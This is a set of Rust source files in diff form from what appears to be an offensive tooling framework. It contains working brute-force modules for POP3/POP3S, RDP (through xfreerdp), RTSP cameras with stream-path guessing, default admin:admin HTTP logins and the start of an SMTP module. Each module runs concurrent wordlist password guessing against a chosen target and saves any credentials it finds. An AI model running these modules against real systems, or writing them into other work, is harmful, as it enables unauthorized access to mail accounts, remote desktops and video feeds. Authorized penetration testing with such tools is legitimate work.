while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
let found = found.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials.");
|
||||
} else {
|
||||
println!();
|
||||
println!("[+] Found:");
|
||||
for (u,p) in found.iter() { println!("{}:{}", u, p); }
|
||||
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("Filename: ");
|
||||
save_results(&f, &found)?;
|
||||
println!("[+] Saved to {}", f);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Standard POP3 login, plaintext
|
||||
fn try_pop3_login_verbose(addr: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let mut stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
|
||||
stream.set_read_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
stream.set_write_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
pop3_session(&mut stream, username, password, verbose)
|
||||
}
|
||||
|
||||
// POP3S (SSL/TLS)
|
||||
fn try_pop3s_login_verbose(addr: &str, host: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
|
||||
let connector = TlsConnector::new().unwrap();
|
||||
let mut stream = connector.connect(host, stream).context("SSL connect fail")?;
|
||||
stream.get_ref().set_read_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
stream.get_ref().set_write_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
pop3_session(&mut stream, username, password, verbose)
|
||||
}
|
||||
|
||||
// Shared POP3 session logic for both plain and SSL
|
||||
fn pop3_session<S: Read + Write>(stream: &mut S, username: &str, password: &str, verbose: bool) -> Result<bool> {
|
||||
let mut buf = [0u8; 4096];
|
||||
// Banner
|
||||
let n = stream.read(&mut buf)?;
|
||||
let banner = String::from_utf8_lossy(&buf[..n]);
|
||||
if verbose { print!("-> {}\n", banner.trim_end()); }
|
||||
if !banner.to_ascii_lowercase().contains("+ok") {
|
||||
return Err(anyhow::anyhow!("No +OK banner: {}", banner));
|
||||
}
|
||||
// USER
|
||||
let user_cmd = format!("USER {}\r\n", username);
|
||||
stream.write_all(user_cmd.as_bytes())?;
|
||||
if verbose { print!("<- {}", user_cmd); }
|
||||
let n = stream.read(&mut buf)?;
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if verbose { print!("-> {}\n", resp.trim_end()); }
|
||||
if !resp.to_ascii_lowercase().contains("+ok") {
|
||||
return Ok(false);
|
||||
}
|
||||
// PASS
|
||||
let pass_cmd = format!("PASS {}\r\n", password);
|
||||
stream.write_all(pass_cmd.as_bytes())?;
|
||||
if verbose { print!("<- {}", pass_cmd); }
|
||||
let n = stream.read(&mut buf)?;
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if verbose { print!("-> {}\n", resp.trim_end()); }
|
||||
// Hardened login detection:
|
||||
let reply = resp.to_ascii_lowercase();
|
||||
if reply.contains("+ok")
|
||||
&& !reply.contains("error")
|
||||
&& !reply.contains("fail")
|
||||
&& !reply.contains("denied")
|
||||
&& !reply.contains("invalid")
|
||||
&& !reply.contains("authentication required")
|
||||
&& !reply.contains("locked") {
|
||||
// Only consider true success if reply says +OK and has no error/fail/invalid/denied
|
||||
if verbose {
|
||||
stream.write_all(b"STAT\r\n").ok();
|
||||
let n = stream.read(&mut buf).unwrap_or(0);
|
||||
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
|
||||
stream.write_all(b"LIST\r\n").ok();
|
||||
let n = stream.read(&mut buf).unwrap_or(0);
|
||||
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
let n = stream.read(&mut buf).unwrap_or(0);
|
||||
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
|
||||
} else {
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
}
|
||||
return Ok(true);
|
||||
}
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Open: {}", path))?;
|
||||
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
|
||||
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
|
||||
let t = host.trim();
|
||||
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).unwrap().as_str();
|
||||
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
|
||||
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
|
||||
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
|
||||
}
|
||||
|
||||
fn get_hostname(target: &str) -> String {
|
||||
if let Some(idx) = target.find(':') { target[..idx].trim_matches('[').trim_matches(']').to_string() } else { target.trim_matches('[').trim_matches(']').to_string() }
|
||||
}
|
||||
@@ -0,0 +1,270 @@
|
||||
use anyhow::Result;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
process::Command,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== RDP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RDP Port", "3389")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Please enter a number."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file_path = prompt_required("Username wordlist path")?;
|
||||
let passwords_file_path = prompt_required("Password wordlist path")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Must be greater than 0."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "rdp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
let addr = format_socket_address(target, port);
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut handles = vec![];
|
||||
let mut user_cycle_idx = 0;
|
||||
|
||||
'password_loop: for pass in passwords {
|
||||
if *stop_signal.lock().await {
|
||||
break 'password_loop;
|
||||
}
|
||||
|
||||
let current_users_for_this_pass = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
vec![user_for_this_pass]
|
||||
};
|
||||
|
||||
for user in current_users_for_this_pass {
|
||||
if *stop_signal.lock().await {
|
||||
break 'password_loop; // Break outer loop if stopping
|
||||
}
|
||||
|
||||
let permit = Arc::clone(&semaphore).acquire_owned().await?;
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit_guard = permit; // Permit dropped when task finishes
|
||||
|
||||
if *stop_signal_clone.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_signal_clone.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
|
||||
}
|
||||
}
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
handles.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
for handle in handles {
|
||||
handle.await?; // Propagate JoinErrors if any task panicked
|
||||
}
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file: {}", filename.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
let mut child = Command::new("xfreerdp")
|
||||
.arg(format!("/v:{}", addr))
|
||||
.arg(format!("/u:{}", user))
|
||||
.arg(format!("/p:{}", pass))
|
||||
.arg("/cert:ignore")
|
||||
.arg("/timeout:5000")
|
||||
.arg("+auth-only") // Attempt authentication without full desktop session
|
||||
.arg("/log-level:OFF")
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
|
||||
.spawn()?;
|
||||
|
||||
let status = child.wait().await?;
|
||||
Ok(status.success())
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required. Please provide a value.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default_val);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
|
||||
loop {
|
||||
print!("{} {} : ", msg, options);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y', 'yes', 'n', or 'no'.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/') // Ensure it's not a path segment
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"rdp_brute_results.txt" // A robust default filename
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
|
||||
fn format_socket_address(ip: &str, port: u16) -> String {
|
||||
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
|
||||
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
|
||||
format!("[{}]:{}", trimmed_ip, port)
|
||||
} else {
|
||||
format!("{}:{}", trimmed_ip, port)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,359 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::SocketAddr,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::Mutex,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Advanced RTSP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RTSP Port", "554")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
|
||||
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
|
||||
let headers_path = prompt_required("Path to RTSP headers file")?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let paths = if brute_force_paths {
|
||||
let paths_file = prompt_required("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines: Vec<_> = BufReader::new(File::open(&passwords_file)?)
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.collect();
|
||||
|
||||
let mut idx = 0;
|
||||
for pass in pass_lines {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
let userlist = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
let mut handles = vec![];
|
||||
|
||||
for user in userlist {
|
||||
for path in &paths {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let path = path.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
let command = advanced_command.clone();
|
||||
let headers = advanced_headers.clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
if *stop.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
|
||||
Ok(true) => {
|
||||
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
|
||||
println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
|
||||
Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found (with these paths).");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials (and paths):");
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
|
||||
// 2) Split into host / port
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(554))
|
||||
} else {
|
||||
(addr.to_string(), 554)
|
||||
};
|
||||
|
||||
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
|
||||
// 4) DNS lookup (handles A + AAAA)
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addr: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let addrs = resolve_targets(addr).await?;
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match TcpStream::connect(sa).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap the successful connection and SocketAddr
|
||||
let (mut stream, sa) = match (stream, connected_sa) {
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts failed: {}",
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
};
|
||||
|
||||
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
|
||||
let ip_str = sa.ip().to_string();
|
||||
let host_for_uri = if ip_str.contains(':') {
|
||||
format!("[{}]:{}", ip_str, sa.port())
|
||||
} else {
|
||||
format!("{}:{}", ip_str, sa.port())
|
||||
};
|
||||
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
let path_str = if path.is_empty() { "" } else { path };
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
host = host_for_uri,
|
||||
path = path_str.trim_start_matches('/'),
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
for header in extra_headers {
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
request.push_str("\r\n");
|
||||
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("Server closed connection unexpectedly."));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("Unexpected RTSP response:\n{}", response))
|
||||
}
|
||||
}
|
||||
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
match s.trim().to_lowercase().as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Invalid input. Please enter 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
|
||||
/// A sample credential check - tries a basic auth login
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking default creds on: {}", target);
|
||||
|
||||
let url = format!("http://{}/login", target);
|
||||
let client = reqwest::Client::new();
|
||||
|
||||
// Hypothetical login using "admin:admin"
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
println!("[+] Default credentials admin:admin are valid!");
|
||||
} else {
|
||||
println!("[-] Default credentials admin:admin failed.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
use anyhow::{Result, Context};
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use telnet::{Telnet, Event};
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== SMTP Bruteforce ===\n");
|
||||
let port = prompt("Port (default 25): ").parse().unwrap_or(25);
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Threads (default 8): ").parse().unwrap_or(8);
|
||||
